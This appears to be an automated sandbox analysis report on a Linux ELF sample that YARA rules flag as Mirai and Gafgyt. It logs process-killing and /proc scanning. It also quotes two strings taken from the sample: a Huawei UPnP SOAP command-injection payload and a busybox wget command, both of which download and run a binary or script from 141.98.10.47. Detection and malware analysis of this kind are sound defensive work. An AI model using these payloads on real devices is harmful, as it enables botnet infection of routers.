Source: 6241.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6241.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6241.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 720, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 759, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 788, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 800, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 847, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 1334, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 1335, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 1872, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 2096, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 2097, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 2102, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 2180, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 2208, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 2275, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 2281, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 2285, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 2289, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 2294, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	SIGKILL sent: pid: 720, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	SIGKILL sent: pid: 759, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	SIGKILL sent: pid: 788, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	SIGKILL sent: pid: 800, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	SIGKILL sent: pid: 847, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	SIGKILL sent: pid: 1334, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	SIGKILL sent: pid: 1335, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	SIGKILL sent: pid: 1860, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	SIGKILL sent: pid: 1872, result: successful	Jump to behavior

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 141.98.10.47 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 720, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 759, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 788, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 800, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 847, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 1334, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 1335, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 1872, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 2096, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 2097, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 2102, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 2180, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 2208, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 2275, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 2281, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 2285, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 2289, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6233)	SIGKILL sent: pid: 2294, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	SIGKILL sent: pid: 720, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	SIGKILL sent: pid: 759, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	SIGKILL sent: pid: 788, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	SIGKILL sent: pid: 800, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	SIGKILL sent: pid: 847, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	SIGKILL sent: pid: 1334, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	SIGKILL sent: pid: 1335, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	SIGKILL sent: pid: 1860, result: successful	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	SIGKILL sent: pid: 1872, result: successful	Jump to behavior

Source: D9UijsgjDB.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: D9UijsgjDB.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: D9UijsgjDB.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: D9UijsgjDB.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: D9UijsgjDB.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
Source: D9UijsgjDB.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: D9UijsgjDB.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: D9UijsgjDB.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6232.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6232.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 6232.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 6232.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 6232.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
Source: 6232.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6232.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6232.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6234.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6234.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 6234.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 6234.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 6234.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
Source: 6234.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6234.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6234.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6241.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6241.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 6241.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 6241.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 6241.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
Source: 6241.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6241.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6241.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/0@0/0

Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1582/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/2033/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/2275/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/3088/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1612/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1579/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1699/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1335/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1698/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/2028/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1334/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1576/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/2302/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/3236/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/2025/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/2146/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/910/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/4444/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/4445/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/912/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/4446/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/517/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/759/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/4447/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/2307/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/918/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/6240/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1594/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/2285/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/2281/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1349/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1623/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/761/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1622/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/884/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1983/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/2038/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1344/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1465/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1586/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1860/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1463/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/2156/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/800/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/801/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1629/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1627/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1900/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/4470/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/4474/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/3021/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/491/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/2294/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/2050/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/1877/exe	Jump to behavior
Source: /tmp/D9UijsgjDB.elf (PID: 6240)	File opened: /proc/772/exe	Jump to behavior
